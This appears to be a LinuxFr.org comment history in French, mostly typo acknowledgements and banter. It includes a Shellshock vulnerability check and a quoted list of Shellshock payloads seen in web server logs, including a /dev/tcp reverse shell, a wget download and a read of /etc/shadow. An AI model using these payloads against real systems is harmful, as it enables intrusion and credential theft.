Benoît Sibaud a écrit 9306 commentaires

Un vrai donneur de leçons sur la langue française aurait utilisé des guillemets français, des espaces insécables, mis un accent à « là », une majuscule à Québécois, écrit un verbe dans chaque phrase, ainsi qu'un sujet, et il aurait éviter de se la péter sous prétexte d'une nationalité marquée sur un passeport. En même temps, tu renforces le stéréotype du râleur franco-français peu accueillant, et tu me permets de râler sur toi, cela se tient. À notre prochaine rencontre, je te paye un canon de rouge limé au comptoir du café du commerce pour en disserter, gros poutous :).

Corrigé, merci.

Corrigé, merci.

A priori il y a encore un souci dans le flux Atom (le premier author est vide) :

    <author>
    </author>
    <author>
      <name>tankey</name>
    </author>
    <author>
      <name>Benoît Sibaud</name>
    </author>
(...)

Corrigé, merci.

Au passage, merci à tous ceux qui ont donné des infos dans ce journal et ont contribué directement ou indirectement à enrichir la dépêche.

Précision ajoutée, merci.

C'est un bash déjà corrigé (au moins partiellement).

$ env mafonction='() { echo "bonjour vous"; }; echo "voici shellshock"' bash -c "mafonction;"
voici shellshock
bonjour vous
$ sudo -s
[sudo] password for user: 
# apt-get update
(...)
# apt-get upgrade
(...)
$ env mafonction='() { echo "bonjour vous"; }; echo "voici shellshock"' bash -c "mafonction;"
bash: mafonction: command not found

Corrigé, merci.

On peut aussi voir le CVE-2014-6277 (Redhat).

Corrigé, merci.

Correction faite, merci.

C'est qu'il y a autant de définition que de gens j'ai l'impression …

Un geek n'a pas l'impression, il essaie de configurer sa $*£@# d'imprimante non reconnue sur son système exotique connu de 8 personnes. Donc si tu es un geek, tu n'as pas l'impression, donc il n'y a pas de définition du geek. CQFD.

Corrigé, merci. Ça aurait été dommage que les gens utilisant le shell aient un choc…

« C’est marrant que t’aies gardé ce côté maquisard, t’es pas en âge d’arrêter tes momeries ? » (de Pascal à Bastien, pas de Raoul à un Tonton :).

Corrigé, merci.

$ echo -e "#include <stdlib.h>\nint main() { return system(\"/bin/echo -e 'class Hello {\\\n public static void main(String[] args) {\\\n System.out.println(\\\"Hello Troll\\\");\\\n }\\\n}' > Hello.java && javac Hello.java && java Hello\"); }" > Hello.c && gcc -Wall -pedantic -o Hello Hello.c && ./Hello

Dans les User-Agent des logs de ton serveur web par exemple.

C'est varié :

"() { :;}; /bin/cat /etc/shadow;"
"() { :; }; ping xx.xx.xx.xx"
"() { :;}; wget http://shellshock.(...)"
"() { :; }; bash -i >& /dev/tcp/xx.xx.xx.xx/8080 0>&1"
"() { :; }; /bin/ls /"
"() { :;}; wget 'http://xxxxx/s.php?s=http://linuxfr.org/'"

Précision ajoutée, merci.

Idem côté LinuxFr.org, sur chaque serveur.

Pour chipoter, le but de la pub est de normalement de rendre connu / public. Le but de la pub commerciale / réclame est de faire acheter/consommer directement ou indirectement en rendant plus connu. Quand LinuxFr.org affiche une bannière pour les RMLL, c'est pour les rendre plus « connus », pas pour vendre des entrées gratuites illimitées :). Ici on a une dépêche qui concerne un produit commercialisé, comme dans le cas d'une dépêche sur RedHat, Apertus ou Odoo.

Corrigé, merci.

Depuis l'ancien et antique fond des âges ancestraux et immémoriaux pré-Epoch et antédiluviens de tout temps de quand c'était mieux et que les timestamps étaient petits ?

Le souci devrait être réglé complètement désormais, le ménage a été fait dans les données obsolètes.

Les erreurs de 10:42:50, 10:43:04, 10:43:26 et 10:45 sont toutes dues à des collisions avec un compte de 2005. Le souci devrait être réglé pour ce compte en tout cas.